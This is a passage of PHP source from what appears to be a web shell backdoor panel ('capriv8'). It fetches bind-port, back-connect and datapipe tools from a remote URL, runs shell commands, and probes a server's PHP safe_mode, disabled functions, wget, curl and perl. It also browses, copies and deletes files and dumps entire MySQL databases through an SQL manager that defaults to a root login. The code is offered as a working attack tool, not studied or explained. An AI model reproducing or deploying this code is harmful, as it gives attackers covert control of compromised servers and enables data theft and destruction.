  if (!is_array($sess_data)) {$sess_data = array();}
  if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
  if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
  if (!function_exists("cagetsource")) {
    function cagetsource($fn) {
      global $capriv8_sourcesurl;
      $array = array(
        "capriv8_bindport.pl" => "capriv8_bindport_pl.txt",
        "capriv8_bindport.c" => "capriv8_bindport_c.txt",
        "capriv8_backconn.pl" => "capriv8_backconn_pl.txt",
        "capriv8_backconn.c" => "capriv8_backconn_c.txt",
        "capriv8_datapipe.pl" => "capriv8_datapipe_pl.txt",
        "capriv8_datapipe.c" => "capriv8_datapipe_c.txt",
      );
      $name = $array[$fn];
      if ($name) {return file_get_contents($capriv8_sourcesurl.$name);}
      else {return FALSE;}
    }
  }
  if (!function_exists("ca_buff_prepare")) {
    function ca_buff_prepare() {
      global $sess_data;
      global $x;
      foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\",DIRECTORY_SEPARATOR,realpath($v));}
      foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\",DIRECTORY_SEPARATOR,realpath($v));}
      $sess_data["copy"] = array_unique($sess_data["copy"]);
      $sess_data["cut"] = array_unique($sess_data["cut"]);
      sort($sess_data["copy"]);
      sort($sess_data["cut"]);
      if ($x != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
      else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
    }
  }
  ca_buff_prepare();
  if (!function_exists("ca_sess_put")) {
    function ca_sess_put($data) {
      global $sess_cookie;
      global $sess_data;
      ca_buff_prepare();
      $sess_data = $data;
      $data = serialize($data);
      setcookie($sess_cookie,$data);
    }
  }
  foreach (array("sort","sql_sort") as $v) {
    if (!empty($_GET[$v])) {$$v = $_GET[$v];}
    if (!empty($_POST[$v])) {$$v = $_POST[$v];}
  }
  if ($sort_save) {
    if (!empty($sort)) {setcookie("sort",$sort);}
    if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
  }
  if (!function_exists("str2mini")) {
    function str2mini($content,$len) {
      if (strlen($content) > $len) {
        $len = ceil($len/2) - 2;
        return substr($content, 0,$len)."...".substr($content,-$len);
      } else {return $content;}
    }
  }
  if (!function_exists("view_size")) {
    function view_size($size) {
      if (!is_numeric($size)) { return FALSE; }
      else {
        if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
        elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
        elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
        else {$size = $size . " B";}
        return $size;
      }
    }
  }
  if (!function_exists("fs_copy_dir")) {
    function fs_copy_dir($d,$t) {
      $d = str_replace("\",DIRECTORY_SEPARATOR,$d);
      if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
      $h = opendir($d);
      while (($o = readdir($h)) !== FALSE) {
        if (($o != ".") and ($o != "..")) {
          if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
          else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
          if (!$ret) {return $ret;}
        }
      }
      closedir($h);
      return TRUE;
    }
  }
  if (!function_exists("fs_copy_obj")) {
    function fs_copy_obj($d,$t) {
      $d = str_replace("\",DIRECTORY_SEPARATOR,$d);
      $t = str_replace("\",DIRECTORY_SEPARATOR,$t);
      if (!is_dir(dirname($t))) {mkdir(dirname($t));}
      if (is_dir($d)) {
        if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
        if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
        return fs_copy_dir($d,$t);
      }
      elseif (is_file($d)) { return copy($d,$t); }
      else { return FALSE; }
    }
  }
  if (!function_exists("fs_move_dir")) {
    function fs_move_dir($d,$t) {
      $h = opendir($d);
      if (!is_dir($t)) {mkdir($t);}
      while (($o = readdir($h)) !== FALSE) {
        if (($o != ".") and ($o != "..")) {
          $ret = TRUE;
          if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
          else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
          if (!$ret) {return $ret;}
        }
      }
      closedir($h);
      return TRUE;
    }
  }
  if (!function_exists("fs_move_obj")) {
    function fs_move_obj($d,$t) {
      $d = str_replace("\",DIRECTORY_SEPARATOR,$d);
      $t = str_replace("\",DIRECTORY_SEPARATOR,$t);
      if (is_dir($d)) {
        if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
        if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
        return fs_move_dir($d,$t);
      }
      elseif (is_file($d)) {
        if(copy($d,$t)) {return unlink($d);}
        else {unlink($t); return FALSE;}
      }
      else {return FALSE;}
    }
  }
  if (!function_exists("fs_rmdir")) {
    function fs_rmdir($d) {
      $h = opendir($d);
      while (($o = readdir($h)) !== FALSE) {
        if (($o != ".") and ($o != "..")) {
          if (!is_dir($d.$o)) {unlink($d.$o);}
          else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
        }
      }
      closedir($h);
      rmdir($d);
      return !is_dir($d);
    }
  }
  if (!function_exists("fs_rmobj")) {
    function fs_rmobj($o) {
      $o = str_replace("\",DIRECTORY_SEPARATOR,$o);
      if (is_dir($o)) {
        if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
        return fs_rmdir($o);
      }
      elseif (is_file($o)) {return unlink($o);}
      else {return FALSE;}
    }
  }
  if (!function_exists("tabsort")) {
    function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}
  }
  if (!function_exists("view_perms")) {
    function view_perms($mode) {
      if (($mode & 0xC000) === 0xC000) {$type = "s";}
      elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
      elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
      elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
      elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
      elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
      elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
      else {$type = "?";}
      $owner["read"] = ($mode & 00400)?"r":"-";
      $owner["write"] = ($mode & 00200)?"w":"-";
      $owner["execute"] = ($mode & 00100)?"x":"-";
      $group["read"] = ($mode & 00040)?"r":"-";
      $group["write"] = ($mode & 00020)?"w":"-";
      $group["execute"] = ($mode & 00010)?"x":"-";
      $world["read"] = ($mode & 00004)?"r":"-";
      $world["write"] = ($mode & 00002)? "w":"-";
      $world["execute"] = ($mode & 00001)?"x":"-";
      if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
      if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
      if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
      return $type.join("",$owner).join("",$group).join("",$world);
    }
  }
  if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
  if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
  if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
  if (!function_exists("parse_perms")) {
    function parse_perms($mode) {
      if (($mode & 0xC000) === 0xC000) {$t = "s";}
      elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
      elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
      elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
      elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
      elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
      elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
      else {$t = "?";}
      $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
      $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
      $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
      return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
    }
  }
  if (!function_exists("parsesort")) {
    function parsesort($sort) {
      $one = intval($sort);
      $second = substr($sort,-1);
      if ($second != "d") {$second = "a";}
      return array($one,$second);
    }
  }
  if (!function_exists("view_perms_color")) {
    function view_perms_color($o) {
      if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
      elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
      else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
    }
  }
  if (!function_exists("mysql_dump")) {
    function mysql_dump($set) {
      global $sh_ver;
      $sock = $set["sock"];
      $db = $set["db"];
      $print = $set["print"];
      $nl2br = $set["nl2br"];
      $file = $set["file"];
      $add_drop = $set["add_drop"];
      $tabs = $set["tabs"];
      $onlytabs = $set["onlytabs"];
      $ret = array();
      $ret["err"] = array();
      if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
      if (empty($db)) {$db = "db";}
      if (empty($print)) {$print = 0;}
      if (empty($nl2br)) {$nl2br = 0;}
      if (empty($add_drop)) {$add_drop = TRUE;}
      if (empty($file)) {
        $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
      }
      if (!is_array($tabs)) {$tabs = array();}
      if (empty($add_drop)) {$add_drop = TRUE;}
      if (sizeof($tabs) == 0) {
        $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
        if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
      }
      $out = "
      # Dumped by ".$sh_name."
      #
      # Host settings:
      # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
      # Date: ".date("d.m.Y H:i:s")."
      # DB: \"".$db."\"
      #---------------------------------------------------------";
      $c = count($onlytabs);
      foreach($tabs as $tab) {
        if ((in_array($tab,$onlytabs)) or (!$c)) {
          if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;
";}
          $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
          if (!$res) {$ret["err"][] = mysql_smarterror();}
          else {
            $row = mysql_fetch_row($res);
            $out .= $row["1"].";

";
            $res = mysql_query("SELECT * FROM `$tab`", $sock);
            if (mysql_num_rows($res) > 0) {
              while ($row = mysql_fetch_assoc($res)) {
                $keys = implode("`, `", array_keys($row));
                $values = array_values($row);
                foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
                $values = implode("\', \'", $values);
                $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES (\'".$values."\');
";
                $out .= $sql;
              }
            }
          }
        }
      }
      $out .= "#---------------------------------------------------------------------------------

";
      if ($file) {
        $fp = fopen($file, "w");
        if (!$fp) {$ret["err"][] = 2;}
        else {
          fwrite ($fp, $out);
          fclose ($fp);
        }
      }
      if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
      return $out;
    }
  }
  if (!function_exists("mysql_buildwhere")) {
    function mysql_buildwhere($array,$sep=" and",$functs=array()) {
      if (!is_array($array)) {$array = array();}
      $result = "";
      foreach($array as $k=>$v) {
        $value = "";
        if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
        $value .= "\'".addslashes($v)."\'";
        if (!empty($functs[$k])) {$value .= ")";}
        $result .= "`".$k."` = ".$value.$sep;
      }
      $result = substr($result,0,strlen($result)-strlen($sep));
      return $result;
    }
  }
  if (!function_exists("mysql_fetch_all")) {
    function mysql_fetch_all($query,$sock) {
      if ($sock) {$result = mysql_query($query,$sock);}
      else {$result = mysql_query($query);}
      $array = array();
      while ($row = mysql_fetch_array($result)) {$array[] = $row;}
      mysql_free_result($result);
      return $array;
    }
  }
  if (!function_exists("mysql_smarterror")) {
    function mysql_smarterror($type,$sock) {
      if ($sock) {$error = mysql_error($sock);}
      else {$error = mysql_error();}
      $error = htmlspecialchars($error);
      return $error;
    }
  }
  if (!function_exists("mysql_query_form")) {
    function mysql_query_form() {
      global $submit,$sql_x,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
      if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
      if ($sql_query_result or (!$sql_confirm)) {$sql_x = $sql_goto;}
      if ((!$submit) or ($sql_x)) {
        echo "<table border=0><tr><td><form name=\"capriv8_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=x value=sql><input type=hidden name=sql_x value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>";
        if ($tbl_struct) {
          echo "<td valign=\"top\"><b>Fields:</b><br>";
          foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.capriv8_sqlquery.sql_query.value+=\'`".$name."`\';\"><b>".$name."</b></a><br>";}
          echo "</td></tr></table>";
        }
      }
      if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
    }
  }
  if (!function_exists("mysql_create_db")) {
    function mysql_create_db($db,$sock="") {
      $sql = "CREATE DATABASE `".addslashes($db)."`;";
      if ($sock) {return mysql_query($sql,$sock);}
      else {return mysql_query($sql);}
    }
  }
  if (!function_exists("mysql_query_parse")) {
    function mysql_query_parse($query) {
      $query = trim($query);
      $arr = explode (" ",$query);
      $types = array(
        "SELECT"=>array(3,1),
        "SHOW"=>array(2,1),
        "DELETE"=>array(1),
        "DROP"=>array(1)
      );
      $result = array();
      $op = strtoupper($arr[0]);
      if (is_array($types[$op])) {
        $result["propertions"] = $types[$op];
        $result["query"]  = $query;
        if ($types[$op] == 2) {
          foreach($arr as $k=>$v) {
            if (strtoupper($v) == "LIMIT") {
              $result["limit"] = $arr[$k+1];
              $result["limit"] = explode(",",$result["limit"]);
              if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
              unset($arr[$k],$arr[$k+1]);
            }
          }
        }
      }
      else {return FALSE;}
    }
  }
  if (!function_exists("cafsearch")) {
    function cafsearch($d) {
      global $found;
      global $found_d;
      global $found_f;
      global $search_i_f;
      global $search_i_d;
      global $a;
      if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
      $h = opendir($d);
      while (($f = readdir($h)) !== FALSE) {
        if($f != "." && $f != "..") {
          $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
          if (is_dir($d.$f)) {
            $search_i_d++;
            if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
            if (!is_link($d.$f)) {cafsearch($d.$f);}
          }
          else {
            $search_i_f++;
            if ($bool) {
              if (!empty($a["text"])) {
                $r = @file_get_contents($d.$f);
                if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
                if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
                if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
                else {$bool = strpos(" ".$r,$a["text"],1);}
                if ($a["text_not"]) {$bool = !$bool;}
                if ($bool) {$found[] = $d.$f; $found_f++;}
              }
              else {$found[] = $d.$f; $found_f++;}
            }
          }
        }
      }
      closedir($h);
    }
  }
  if ($x == "gofile") {
    if (is_dir($f)) { $x = "ls"; $d = $f; }
    else { $x = "f"; $d = dirname($f); $f = basename($f); }
  }
  @ob_start();
  @ob_implicit_flush(0);
  function onphpshutdown() {
    global $gzipencode,$ft;
    if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) {
      $v = @ob_get_contents();
      @ob_end_clean();
      @ob_start("ob_gzHandler");
      echo $v;
      @ob_end_flush();
    }
  }
  function capriv8exit() {
    onphpshutdown();
    exit;
  }
  header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
  header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
  header("Cache-Control: no-store, no-cache, must-revalidate");
  header("Cache-Control: post-check=0, pre-check=0", FALSE);
  header("Pragma: no-cache");
  if (empty($tmpdir)) {
    $tmpdir = ini_get("upload_tmp_dir");
    if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
  }
  $tmpdir = realpath($tmpdir);
  $tmpdir = str_replace("\",DIRECTORY_SEPARATOR,$tmpdir);
  if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
  if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
  else {$tmpdir_logs = realpath($tmpdir_logs);}
  function showstat($stat) {
    if ($stat=="on") { return "<font color=#00FF00><b>ON</b></font>"; }
    else { return "<font color=red><b>OFF</b></font>"; }
  }
  function testperl() {
    if (ex(\'perl -h\')) { return showstat("on"); }
    else { return showstat("off"); }
  }
  function testfetch() {
    if(ex(\'fetch --help\')) { return showstat("on"); }
    else { return showstat("off"); }
  }
  function testwget() {
    if (ex(\'wget --help\')) { return showstat("on"); }
    else { return showstat("off"); }
  }
  function testoracle() {
    if (function_exists(\'ocilogon\')) { return showstat("on"); }
    else { return showstat("off"); }
  }
  function testpostgresql() {
    if (function_exists(\'pg_connect\')) { return showstat("on"); }
    else { return showstat("off"); }
  }
  function testmssql() {
    if (function_exists(\'mssql_connect\')) { return showstat("on"); }
    else { return showstat("off"); }
  }
  function testcurl() {
    if (function_exists(\'curl_version\')) { return showstat("on"); }
    else { return showstat("off"); }
  }
  function testmysql() {
    if (function_exists(\'mysql_connect\')) { return showstat("on"); }
    else { return showstat("off"); }
  }
  function showdisablefunctions() {
    if ($disablefunc=@ini_get("disable_functions")){ return "<font color=red><b>".$disablefunc."</b></font>"; }
    else { return "<font color=#00FF00><b>NONE</b></b></font>"; }
  }
  if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {
    $safemode = TRUE;
    $hsafemode = "<font color=#3366FF><b>SAFE MODE is ON (Secure)</b></font>";
  }
  else {
    $safemode = FALSE;
    $hsafemode = "<font color=red><b>SAFE MODE is OFF (Not Secure)</b></font>";
  }
  $v = @ini_get("open_basedir");
  if ($v or strtolower($v) == "on") {
    $openbasedir = TRUE;
    $hopenbasedir = "<font color=red>".$v."</font>";
  }
  else {
    $openbasedir = FALSE;
    $hopenbasedir = "<font color=green>OFF (not secure)</font>";
  }
  $sort = htmlspecialchars($sort);
  if (empty($sort)) {$sort = $sort_default;}
  $sort[1] = strtolower($sort[1]);
  $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
  if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
  $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."x=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
  @ini_set("highlight.bg",$highlight_bg);
  @ini_set("highlight.comment",$highlight_comment);
  @ini_set("highlight.default",$highlight_default);
  @ini_set("highlight.html",$highlight_html);
  @ini_set("highlight.keyword",$highlight_keyword);
  @ini_set("highlight.string",$highlight_string);
  if (!is_array($actbox)) { $actbox = array(); }
  $dspact = $x = htmlspecialchars($x);
  $disp_fullpath = $ls_arr = $notls = null;
  $ud = urlencode($d);
  $d = str_replace("\",DIRECTORY_SEPARATOR,$d);
  if (empty($d)) {$d = realpath(".");}
  elseif(realpath($d)) {$d = realpath($d);}
  $d = str_replace("\",DIRECTORY_SEPARATOR,$d);
  if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  $d = str_replace("\\","\",$d);
  $dispd = htmlspecialchars($d);
echo $html_start;
echo "<div class=barheader2><h3>$sh_name</h3><font color=lime>-.-\"</font></div><hr color=green>
";
echo "<table id=pagebar><tr><td width=50%><p>".
	 "Software : ".$DISP_SERVER_SOFTWARE ." - <a href=".$surl."x=phpini>php.ini</a><br>".
     "$hsafemode<br>".
     "OS : ".php_uname()."<br>";
if (!$win) { echo "User ID : ".myshellexec("id"); }
else { echo "User : " . get_current_user(); }
echo "</p></td>".
     "<td width=50%><p>Server IP : <a href=http://whois.domaintools.com/".gethostbyname($_SERVER["HTTP_HOST"]).">".gethostbyname($_SERVER["HTTP_HOST"])."</a> - ".
     "Your IP : <a href=http://whois.domaintools.com/".$_SERVER["REMOTE_ADDR"].">".$_SERVER["REMOTE_ADDR"]."</a><br>";
if($win){echo "Drives : ".disp_drives($d,$surl)."<br>";}
echo "Freespace : ".disp_freespace($d);
echo "</p></td></tr>";
echo "<tr><td colspan=2><p>";
echo "MySQL: ".testmysql()." MSSQL: ".testmssql()." Oracle: ".testoracle()." MSSQL: ".testmssql()." PostgreSQL: ".testpostgresql().
     " cURL: ".testcurl()." WGet: ".testwget()." Fetch: ".testfetch()." Perl: ".testperl()."<br>";
echo "Disabled Functions: ".showdisablefunctions();
echo "</p></td></tr>";
echo "<tr><td colspan=2 id=mainmenu>";
if (count($quicklaunch2) > 0) {
  foreach($quicklaunch2 as $item) {
    $item[1] = str_replace("%d",urlencode($d),$item[1]);
    $item[1] = str_replace("%sort",$sort,$item[1]);
    $v = realpath($d."..");
    if (empty($v)) {
      $a = explode(DIRECTORY_SEPARATOR,$d);
      unset($a[count($a)-2]);
      $v = join(DIRECTORY_SEPARATOR,$a);
    }
    $item[1] = str_replace("%upd",urlencode($v),$item[1]);
    echo "<a href=\"".$item[1]."\">".$item[0]."</a>
";
  }
}
echo "</td><tr><td colspan=2 id=mainmenu>";
if (count($quicklaunch1) > 0) {
  foreach($quicklaunch1 as $item) {
    $item[1] = str_replace("%d",urlencode($d),$item[1]);
    $item[1] = str_replace("%sort",$sort,$item[1]);
    $v = realpath($d."..");
    if (empty($v)) {
      $a = explode(DIRECTORY_SEPARATOR,$d);
      unset($a[count($a)-2]);
      $v = join(DIRECTORY_SEPARATOR,$a);
    }
    $item[1] = str_replace("%upd",urlencode($v),$item[1]);
    echo "<a href=\"".$item[1]."\">".$item[0]."</a>
";
  }
}
echo "</td><tr><td colspan=2 id=mainmenu>";
if (count($quicklaunch3) > 0) {
  foreach($quicklaunch3 as $item) {
    $item[1] = str_replace("%d",urlencode($d),$item[1]);
    $item[1] = str_replace("%sort",$sort,$item[1]);
    $v = realpath($d."..");
    if (empty($v)) {
      $a = explode(DIRECTORY_SEPARATOR,$d);
      unset($a[count($a)-2]);
      $v = join(DIRECTORY_SEPARATOR,$a);
    }
    $item[1] = str_replace("%upd",urlencode($v),$item[1]);
    echo "<a href=\"".$item[1]."\">".$item[0]."</a>
";
  }
}
echo "</td></tr><tr><td colspan=2>";
echo "<p class=fleft>";
$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
$i = 0;
foreach($pd as $b) {
  $t = ""; $j = 0;
  foreach ($e as $r) {
    $t.= $r.DIRECTORY_SEPARATOR;
    if ($j == $i) { break; }
    $j++;
  }
  echo "<a href=\"".$surl."x=ls&d=".urlencode($t)."&sort=".$sort."\"><font color=#6666FF>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</font></a>";
  $i++;
}
echo " - ";
if (is_writable($d)) {
  $wd = TRUE;
  $wdt = "<font color=#00FF00>[OK]</font>";
  echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
}
else {
  $wd = FALSE;
  $wdt = "<font color=red>[Read-Only]</font>";
  echo "<b>".view_perms_color($d)."</b>";
}
?>
</p>
<div class=fright>
<form method="POST"><input type=hidden name=act value="ls">
Directory: <input type="text" name="d" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go">
</form>
</div>
</td></tr></table>
<?php
echo "<table id=maininfo><tr><td width=\"100%\">
";
if ($x == "") { $x = $dspact = "ls"; }
if ($x == "phpini" ) { get_phpini(); }
if ($x == "sql") {
  $sql_surl = $surl."x=sql";
  if ($sql_login)  {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
  if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
  if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
  if ($sql_port)   {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
  if ($sql_db)     {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
  $sql_surl .= "&";
  echo "<table>".
       "<tr><td width=\"100%\" colspan=2 class=barheader>";
  if ($sql_server) {
    $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
    $err = mysql_smarterror();
    @mysql_select_db($sql_db,$sql_sock);
    if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
  }
  else {$sql_sock = FALSE;}
  echo ".: SQL Manager :.<br>";
  if (!$sql_sock) {
    if (!$sql_server) {echo "NO CONNECTION";}
    else {echo "Can\'t connect! ".$err;}
  }
  else {
    $sqlquicklaunch = array();
    $sqlquicklaunch[] = array("Index",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
    $sqlquicklaunch[] = array("Query",$sql_surl."sql_x=query&sql_tbl=".urlencode($sql_tbl));
    $sqlquicklaunch[] = array("Server-status",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=serverstatus");
    $sqlquicklaunch[] = array("Server variables",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=servervars");
    $sqlquicklaunch[] = array("Processes",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=processes");
    $sqlquicklaunch[] = array("Logout",$surl."x=sql");
    echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")<br>";
    if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
  }
  echo "</td></tr><tr>";
  if (!$sql_sock) {
    echo "<td width=\"28%\" height=\"100\" valign=\"top\"><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width=\"90%\" height=1 valign=\"top\">";
    echo "<table width=\"100%\" border=0><tr><td><b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b></td><td><b>Database</b></td></tr><form action=\" $surl \" method=\"POST\"><input type=\"hidden\" name=\"x\" value=\"sql\"><tr><td><input type=\"text\" name=\"sql_login\" value=\"root\" maxlength=\"64\"></td><td><input type=\"password\" name=\"sql_passwd\" value=\"\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_db\" value=\"\" maxlength=\"64\"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type=\"text\" name=\"sql_server\" value=\"localhost\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_port\" value=\"3306\" maxlength=\"6\" size=\"3\"></td><td><input type=\"submit\" value=\"Connect\"></td></tr><tr><td></td></tr></form></table></td>";
  }
  else {
    if (!empty($sql_db)) {
      ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade>
      <?php
      $result = mysql_list_tables($sql_db);
      if (!$result) {echo mysql_smarterror();}
      else {
        echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
        $c = 0;
